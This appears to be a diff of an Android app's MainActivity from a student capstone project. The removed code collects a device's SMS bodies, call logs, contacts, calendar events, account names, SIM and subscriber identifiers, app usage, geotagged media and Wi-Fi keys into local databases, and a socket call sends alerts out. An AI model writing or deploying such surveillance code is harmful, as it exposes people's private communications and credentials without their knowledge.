157 - , photo.getDisplayName(), photo.getType(), photo.getPath()
158 - , photo.getLatitude(), photo.getLongitude());
159 - }
160 -
161 - }
162 -
163 - public void getVideo() {
164 - Uri uri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
165 -
166 - String[] projection = new String[]{
167 - MediaStore.Video.Media.ALBUM,
168 - MediaStore.Video.Media.ARTIST,
169 - MediaStore.Video.Media.BOOKMARK,
170 - MediaStore.Video.Media.CATEGORY,
171 - MediaStore.Video.Media.DESCRIPTION,
172 - MediaStore.Video.Media.LANGUAGE,
173 - MediaStore.Video.Media.LATITUDE,
174 - MediaStore.Video.Media.LONGITUDE,
175 - MediaStore.Video.Media.RESOLUTION,
176 - MediaStore.Video.Media.DATA,
177 - MediaStore.Video.Media.TAGS,
178 - MediaStore.Video.Media.DATE_ADDED,
179 - MediaStore.Video.Media.DISPLAY_NAME,
180 - MediaStore.Video.Media.MIME_TYPE,
181 - MediaStore.Video.Media.TITLE,
182 - };
183 -
184 - Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
185 -
186 - while (cursor.moveToNext()) {
187 - videoItem video = new videoItem();
188 -
189 - video.setAlbum(cursor.getString(0));
190 - video.setArtist(cursor.getString(1));
191 - video.setBookmark(cursor.getString(2));
192 - video.setCategory(cursor.getString(3));
193 - video.setDescription(cursor.getString(4));
194 - video.setLanguage(cursor.getString(5));
195 - video.setLatitude(cursor.getString(6));
196 - video.setLongitude(cursor.getString(7));
197 - video.setResolution(cursor.getString(8));
198 - video.setPath(cursor.getString(9));
199 - video.setTags(cursor.getString(10));
200 - video.setDate_added(cursor.getString(11));
201 - video.setDisplay_Name(cursor.getString(12));
202 - video.setMIME_type(cursor.getString(13));
203 - video.setTitle(cursor.getString(14));
204 -
205 - dbHelper.insertVColumn(video.getTitle(), video.getDate_added(), video.getDisplay_Name()
206 - , video.getMIME_type(), video.getPath(), video.getLatitude(), video.getLongitude()
207 - , video.getAlbum(), video.getArtist(), video.getBookmark(), video.getCategory()
208 - , video.getDescription(), video.getLanguage(), video.getResolution(), video.getTags());
209 - }
210 - }
211 -
212 - public void getAudio() {
213 - Uri uri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
214 -
215 - String[] projection = new String[]{
216 - MediaStore.Audio.Media.ALBUM,
217 - MediaStore.Audio.Media.ARTIST,
218 - MediaStore.Audio.Media.COMPOSER,
219 - MediaStore.Audio.Media.YEAR,
220 - MediaStore.Audio.Media.DATA,
221 - MediaStore.Audio.Media.DATE_ADDED,
222 - MediaStore.Audio.Media.MIME_TYPE,
223 - MediaStore.Audio.Media.SIZE,
224 - MediaStore.Audio.Media.TITLE,
225 - };
226 -
227 - Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
228 -
229 - while (cursor.moveToNext()) {
230 - audioItem audio = new audioItem();
231 - audio.setAlbum(cursor.getString(0));
232 - audio.setArtist(cursor.getString(1));
233 - audio.setComposer(cursor.getString(2));
234 - audio.setYear(cursor.getString(3));
235 - audio.setPath(cursor.getString(4));
236 - audio.setDate_added(cursor.getString(5));
237 - audio.setMIME_TYPE(cursor.getString(6));
238 - audio.setSize(cursor.getString(7));
239 - audio.setTitle(cursor.getString(8));
240 -
241 - dbHelper.insertAColumn(audio.getTitle(), audio.getDate_added(), audio.getMIME_TYPE()
242 - , audio.getPath(), audio.getAlbum(), audio.getArtist(), audio.getComposer()
243 - ,audio.getYear(), audio.getSize());
244 - }
245 -
246 - }
247 -
248 - private void getCalendarInfo() {
249 - ArrayList<calendarItem> calendarList = new ArrayList<>();
250 -
251 - Cursor cur = null;
252 - ContentResolver cr = getContentResolver();
253 - Uri uri = CalendarContract.Calendars.CONTENT_URI;
254 -
255 - if (checkSelfPermission(Manifest.permission.READ_CALENDAR) != PackageManager.PERMISSION_GRANTED) {
256 - Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
257 - return;
258 - }
259 -
260 - String[] event_projection = new String[]{
261 - CalendarContract.Calendars._ID, // 0
262 - CalendarContract.Calendars.ACCOUNT_NAME, // 1
263 - CalendarContract.Calendars.CALENDAR_DISPLAY_NAME, // 2
264 - CalendarContract.Calendars.OWNER_ACCOUNT // 3
265 - };
266 -
267 - cur = cr.query(uri, event_projection, null, null, null);
268 -
269 - // Use the cursor to step through the returned records
270 - while (cur.moveToNext()) {
271 -
272 - long calID = 0;
273 - String displayName = null;
274 - String accountName = null;
275 - String ownerName = null;
276 -
277 - // Get the field values
278 - calID = cur.getLong(0);
279 - displayName = cur.getString(1);
280 - accountName = cur.getString(2);
281 - ownerName = cur.getString(3);
282 -
283 - Cursor cure = null;
284 - ContentResolver cre = getContentResolver();
285 - Uri urie = CalendarContract.Events.CONTENT_URI;
286 -
287 - String[] event_projection2 = new String[]{
288 - CalendarContract.Events.CALENDAR_ID, //0
289 - CalendarContract.Events.TITLE, // 2
290 - CalendarContract.Events.EVENT_LOCATION, // 3
291 - CalendarContract.Events.DESCRIPTION, // 4
292 - CalendarContract.Events.DTSTART, // 5
293 - CalendarContract.Events.DTEND, // 6
294 - CalendarContract.Events.DURATION, // 9
295 - CalendarContract.Events.ALL_DAY, // 10
296 - CalendarContract.Events.RRULE, // 11
297 - CalendarContract.Events.RDATE // 12
298 - };
299 -
300 - cure = cre.query(urie, event_projection2, null, null, null);
301 - while (cure.moveToNext()) {
302 - String calid = null;
303 - String title = null;
304 - String loc = null;
305 - String desc = null;
306 - long dtstart = 0;
307 - long dtend = 0;
308 - String duration = null;
309 - String all_day = null;
310 - String rrule = null;
311 - String rdate = null;
312 -
313 - calid = cure.getString(0);
314 - title = cure.getString(1);
315 - loc = cure.getString(2);
316 - desc = cure.getString(3);
317 - dtstart = cure.getLong(4);
318 - dtend = cure.getLong(5);
319 - duration = cure.getString(6);
320 - all_day = cure.getString(7);
321 - rrule = cure.getString(8);
322 - rdate = cure.getString(9);
323 -
324 - DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
325 - Date start = new Date(dtstart);
326 - Date end = new Date(dtend);
327 -
328 - //save
329 - if (calID == Integer.parseInt(calid)) {
330 - calendarItem calendar = new calendarItem();
331 -
332 - calendar.setCalID(Long.toString(calID));
333 - calendar.setDisplayName(displayName);
334 - calendar.setAccountName(accountName);
335 - calendar.setOwnerName(ownerName);
336 - calendar.setTitle(title);
337 - calendar.setLoc(loc);
338 - calendar.setDesc(desc);
339 - calendar.setDtstart(timeFormat.format(start));
340 - calendar.setDtend(timeFormat.format(end));
341 - calendar.setDuration(duration);
342 - calendar.setAllday(all_day);
343 - calendar.setRrule(rrule);
344 - calendar.setRdate(rdate);
345 -
346 - dbHelper.insertCColumn(calendar.getTitle(), calendar.getCalID(), calendar.getLoc()
347 - , calendar.getDesc(), calendar.getDtstart(), calendar.getDtend(), calendar.getDuration()
348 - , calendar.getAllday(), calendar.getDisplayName(), calendar.getAccountName()
349 - , calendar.getOwnerName(), calendar.getRrule(), calendar.getRdate());
350 - }
351 - }
352 - }
353 -
354 - }
355 -
356 - public void getNetworkInfo(){
357 - ConnectivityManager connectivityManager;
358 - LinkProperties linkProperties;
359 - connectivityManager = (ConnectivityManager) this.getSystemService(Context.CONNECTIVITY_SERVICE);
360 - Network[] networkList = connectivityManager.getAllNetworks();
361 - networkDBHelper dbNHelper = new networkDBHelper(getApplicationContext());
362 - dbNHelper.open();
363 - dbNHelper.deleteAllRows();
364 - for(Network network : networkList){
365 - NetworkCapabilities capabilities = connectivityManager.getNetworkCapabilities(network);
366 - if(capabilities != null){
367 - if(capabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR)){
368 - linkProperties = connectivityManager.getLinkProperties(network);
369 - String domain = linkProperties.getDomains();
370 - String interfacrName = linkProperties.getInterfaceName();
371 - //String DnsServerName = linkProperties.getPrivateDnsServerName();
372 - dbNHelper.insertColumn0(network.toString(), domain, interfacrName);
373 - List<InetAddress> inetAddresses = linkProperties.getDnsServers();
374 - for(InetAddress address : inetAddresses){
375 - dbNHelper.insertColumn1(network.toString(), address.getHostAddress());
376 - }
377 - List<LinkAddress> linkAddresses = linkProperties.getLinkAddresses();
378 - for(LinkAddress address : linkAddresses) {
379 - dbNHelper.insertColumn2(network.toString(), address.getAddress().getHostAddress(), address.getPrefixLength());
380 - }
381 - List<RouteInfo> routeInfos = linkProperties.getRoutes();
382 - for(RouteInfo routeinfo : routeInfos){
383 - dbNHelper.insertColumn3(network.toString(), routeinfo.getDestination().toString()
384 - , routeinfo.getDestination().getPrefixLength(), routeinfo.getGateway().toString()
385 - ,routeinfo.getInterface());
386 - }
387 - }
388 - }
389 - }
390 - dbNHelper.close();
391 - }
392 -// private class GoogleAppIdTask extends AsyncTask<Void, Void, String> {
393 -// protected String doInBackground(final Void... params) {
394 -// String adId = null;
395 -// try {
396 -// AdvertisingIdClient.Info advertisingIdInfo = AdvertisingIdClient.getAdvertisingIdInfo(getApplicationContext());
397 -// adId = advertisingIdInfo.getId();
398 -// if (!advertisingIdInfo.isLimitAdTrackingEnabled())
399 -// Log.d("adid : ", adId);
400 -// } catch (IllegalStateException ex) {
401 -// ex.printStackTrace();
402 -// Log.e("GoogleAppidTask","IllegalStateException");
403 -// } catch (GooglePlayServicesRepairableException ex) {
404 -// ex.printStackTrace();
405 -// Log.e("GoogleAppidTask","GooglePlayServicesRepairable Exception");
406 -// } catch (IOException ex) {
407 -// ex.printStackTrace();
408 -// Log.e("GoogleAppidTask","IOException");
409 -// } catch (GooglePlayServicesNotAvailableException ex) {
410 -// ex.printStackTrace();
411 -// Log.e("GoogleAppidTask","GooglePlayServicesNotAvailableException");
412 -// }
413 -// return adId;
414 -// }
415 -//
416 -// protected void onPostExecute(String adId) {
417 -// //작업 수행
418 -// }
419 -// }
420 -
421 - public void getPhoneInfo(){
422 - TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
423 - if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
424 - Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
425 - }
426 -
427 - String adid = "";
428 -// try {
429 -// MainActivity.GoogleAppIdTask asyncTask = new MainActivity.GoogleAppIdTask();
430 -// adid = asyncTask.execute().get();
431 -// }catch(Exception e){
432 -// e.printStackTrace();
433 -// }
434 -
435 - dbHelper.addPhoneInfo(tm.getPhoneType(), tm.getDeviceSoftwareVersion(),
436 - tm.getLine1Number(), tm.getSubscriberId(), adid, tm.getCallState(),
437 - tm.getDataState(),tm.getNetworkType(),tm.getNetworkCountryIso(),
438 - tm.getSimCountryIso(),tm.getNetworkOperator(),tm.getSimOperator(),
439 - tm.getNetworkOperatorName(),tm.getSimOperatorName() ,tm.getSimSerialNumber(),
440 - tm.getSimState(),tm.isNetworkRoaming());
441 -
442 -
443 - }
444 -
445 - public void getAccountInfo(){
446 -
447 - AccountManager am = AccountManager.get(this);
448 - Account[] accounts = am.getAccounts();
449 -
450 - for(Account account : accounts) {
451 - dbHelper.addAccountInfo(account.name,account.type);
452 - //String password=accountManager.getPassword(account);
453 - }
454 - }
455 -
456 - public void getAppInfo() {
457 -
458 - PackageManager pm = getPackageManager();
459 - List<PackageInfo> packages = pm.getInstalledPackages(PackageManager.GET_META_DATA);
460 - ApplicationInfo applicationInfo;
461 - NetworkStatsManager networkStatsManager = (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
462 -
463 -
464 - for (PackageInfo packageInfo : packages) {
465 - try {
466 - applicationInfo = pm.getApplicationInfo(packageInfo.packageName, 0);
467 - } catch (final PackageManager.NameNotFoundException e) {
468 - applicationInfo = null;
469 - }
470 - String applicationName = (String) (applicationInfo != null ? pm.getApplicationLabel(applicationInfo) : "(unknown)");
471 -
472 -
473 - NetworkStats wifinetworkStats = null;
474 - NetworkStats mobilenetworkStats = null;
475 - try {
476 - wifinetworkStats = networkStatsManager.queryDetailsForUid(NetworkCapabilities.TRANSPORT_WIFI, "", 0, System.currentTimeMillis(), applicationInfo.uid);
477 - } catch (Exception e) {
478 - wifinetworkStats = null;
479 - }
480 - try {
481 - Context context = getApplicationContext();
482 - String subscribedId = getSubscriberId(TRANSPORT_CELLULAR);
483 - mobilenetworkStats = networkStatsManager.queryDetailsForUid(NetworkCapabilities.TRANSPORT_CELLULAR, subscribedId, 0, System.currentTimeMillis(), applicationInfo.uid);
484 - } catch (Exception e) {
485 - mobilenetworkStats = null;
486 - }
487 -
488 - NetworkStats.Bucket wifibucket = new NetworkStats.Bucket();
489 - long wifirxbytes = 0;
490 - long wifitxbytes = 0;
491 - while (wifinetworkStats.hasNextBucket()) {
492 - wifinetworkStats.getNextBucket(wifibucket);
493 - wifirxbytes += wifibucket.getRxBytes();
494 - wifitxbytes += wifibucket.getTxBytes();
495 - };
496 -
497 - NetworkStats.Bucket cellularbucket = new NetworkStats.Bucket();
498 - long cellrxbytes = 0;
499 - long celltxbytes = 0;
500 - while (mobilenetworkStats.hasNextBucket()) {
501 - mobilenetworkStats.getNextBucket(cellularbucket);
502 - cellrxbytes += cellularbucket.getRxBytes();
503 - celltxbytes += cellularbucket.getTxBytes();
504 - };
505 - mobilenetworkStats.getNextBucket(cellularbucket);
506 -
507 - dbHelper.addAppInfo(packageInfo.packageName,packageInfo.versionName, applicationName,packageInfo.firstInstallTime, packageInfo.lastUpdateTime, wifirxbytes+wifitxbytes, cellrxbytes+celltxbytes);
508 - }
509 -
510 - }
511 -
512 - private String getSubscriberId(int networkType) {
513 - TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
514 - if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
515 - Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
516 - return null;
517 - }
518 - else {
519 - if (ConnectivityManager.TYPE_MOBILE == networkType) {
520 - return tm.getSubscriberId();
521 - }
522 - }
523 - return "";
524 - }
525 -
526 - public void getUsageStats() {
527 -
528 - UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
529 -
530 - List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_YEARLY, 0, System.currentTimeMillis());
531 - for (UsageStats usagestat : queryUsageStats) {
532 - dbHelper.addAppUsage_YEAR(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
533 - }
534 -
535 - queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_MONTHLY, 0, System.currentTimeMillis());
536 - for (UsageStats usagestat : queryUsageStats) {
537 - dbHelper.addAppUsage_MONTH(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
538 - }
539 -
540 - queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_WEEKLY, 0, System.currentTimeMillis());
541 - for (UsageStats usagestat : queryUsageStats) {
542 - dbHelper.addAppUsage_WEEK(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
543 - }
544 -
545 - queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, 0, System.currentTimeMillis());
546 - for (UsageStats usagestat : queryUsageStats) {
547 - dbHelper.addAppUsage_DAY(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
548 - }
549 -
550 - }
551 -
552 -
553 - public void getCallLog(){
554 -
555 - int permissionCheck = ContextCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_CALL_LOG);
556 -
557 - Uri uri = CallLog.Calls.CONTENT_URI;
558 -
559 - if(permissionCheck == PackageManager.PERMISSION_GRANTED) {
560 - Cursor cursor = getBaseContext().getContentResolver().query(uri, null, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
561 -
562 - if(cursor.getCount() > 0){
563 - while(cursor.moveToNext()){
564 - //1:수신, 2:발신, 3:부재중
565 - String type = cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE));
566 - //이름
567 - String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
568 - //번호
569 - String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
570 - //통화시간
571 - String duration = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION));
572 - //날짜
573 - long date_long = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));
574 - DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
575 - Date date = new Date(date_long);
576 -
577 - //db에 추가
578 - dbHelper.insertCallLogColumn(type, name, number, duration, timeFormat.format(date));
579 -
580 - }
581 - }
582 - }
583 - }
584 -
585 - public void getContact(){
586 - Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
587 -
588 - String[] projection = new String[]{
589 - ContactsContract.CommonDataKinds.Phone.NUMBER,
590 - ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
591 - ContactsContract.Contacts.PHOTO_ID,
592 - ContactsContract.Contacts._ID
593 - };
594 -
595 - String sortOrder = ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " COLLATE LOCALIZED ASC";
596 -
597 - Cursor cursor = getContentResolver().query(uri,projection,null,null,sortOrder);
598 -
599 - if(cursor.moveToFirst()){
600 - do{
601 - //전화번호
602 - String number = cursor.getString(0);
603 - //이름
604 - String name = cursor.getString(1);
605 - String photo_id = cursor.getString(2);
606 - String person_id = cursor.getString(3);
607 -
608 - //name, number 중복하는거 거르기
609 - //db에 추가
610 - dbHelper.insertContactColumn(number, name, photo_id, person_id);
611 -
612 - }while(cursor.moveToNext());
613 - }
614 - }
615 -
616 - public void getSMSMessage(){
617 - Uri uri = Telephony.Sms.CONTENT_URI;
618 - String[] projection = new String[]{
619 - "type","_id","thread_id","address","person","creator","date","body","read"
620 - };
621 - Cursor cursor = getContentResolver().query(uri,projection, null,null,"date DESC");
622 -
623 - while(cursor.moveToNext()){
624 - //Telephony.Sms.MESSAGE_TYPE_INBOX 받은 메시지/Telephony.Sms.MESSAGE_TYPE_SENT 보낸 메시지
625 - String type = cursor.getString(0);
626 - //메세지 id
627 - String mid = cursor.getString(1);
628 - //특정 사용자와 대화의 공통 id
629 - String tid = cursor.getString(2);
630 - //주소 번호
631 - String address = cursor.getString(3);
632 - //누가 보냈는지 contact
633 - //Telephony.Sms.MESSAGE_TYPE_INBOX only
634 - String person = cursor.getString(4);
635 - //Telephony.Sms.MESSAGE_TYPE_SENT only
636 - String creator = cursor.getString(5);
637 - //시간 ms
638 - Long date_long = cursor.getLong(6);
639 - DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
640 - String date = timeFormat.format(date_long);
641 - //내용
642 - String body = cursor.getString(7);
643 - //사용자가 메시지 읽었으면 1, 안 읽었으면 0
644 - String read = cursor.getString(8);
645 -
646 - //db에 추가
647 - dbHelper.insertSMSColumn(mid, tid, type, address, person, creator, date, body, read);
648 - }
649 - }
650 -
651 - public void getWIFI(){
652 - WifiManager wm = (WifiManager)getApplicationContext().getSystemService(Context.WIFI_SERVICE);
653 - //네트워크 설정 목록 획득
654 - List<WifiConfiguration> configurations = wm.getConfiguredNetworks();
655 - if(configurations != null){
656 - for(final WifiConfiguration config : configurations){
657 - //network id
658 - int i_id = config.networkId;
659 - String id = Integer.toString(i_id);
660 - //wifi 이름
661 - String ssid = config.SSID;
662 - //mac 주소
663 - String bssid = config.BSSID;
664 - //신호강도 (level)
665 - //연결 password
666 - String[] wepkeys = config.wepKeys;
667 -
668 - //db에 추가
669 - dbHelper.insertWifiColumn(id, ssid, bssid, wepkeys[0]);
670 - }
671 - }
672 - }
673 -
674 public void checkPermission(){ 62 public void checkPermission(){
675 //현재 안드로이드 버전이 6.0미만이면 메서드를 종료한다. 63 //현재 안드로이드 버전이 6.0미만이면 메서드를 종료한다.
676 if(Build.VERSION.SDK_INT < Build.VERSION_CODES.M) 64 if(Build.VERSION.SDK_INT < Build.VERSION_CODES.M)
...@@ -708,5 +96,7 @@ public class MainActivity extends AppCompatActivity { ...@@ -708,5 +96,7 @@ public class MainActivity extends AppCompatActivity {
708 } 96 }
709 97
710 socket.emit("alert", jsonObject); 98 socket.emit("alert", jsonObject);
99 + Log.d("LogTest", "alert()");
100 +
711 } 101 }
712 } 102 }
......
1 +<?xml version="1.0" encoding="utf-8"?>
2 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
3 + android:layout_width="match_parent"
4 + android:layout_height="match_parent"
5 + android:orientation="vertical">
6 + <TextView
7 + android:id="@+id/textView"
8 + android:layout_width="match_parent"
9 + android:layout_height="wrap_content"
10 + android:text="CapstoneDesign2" />
11 +</LinearLayout>
...\ No newline at end of file ...\ No newline at end of file
...@@ -11,8 +11,7 @@ ...@@ -11,8 +11,7 @@
11 android:layout_width="200dp" 11 android:layout_width="200dp"
12 android:layout_height="60dp" 12 android:layout_height="60dp"
13 android:layout_gravity="center" 13 android:layout_gravity="center"
14 - android:onClick="button1" 14 + android:text="데이터추출 완료"
15 - android:text="데이터추출"
16 app:layout_constraintBottom_toBottomOf="parent" 15 app:layout_constraintBottom_toBottomOf="parent"
17 app:layout_constraintEnd_toEndOf="parent" 16 app:layout_constraintEnd_toEndOf="parent"
18 app:layout_constraintHorizontal_bias="0.497" 17 app:layout_constraintHorizontal_bias="0.497"
......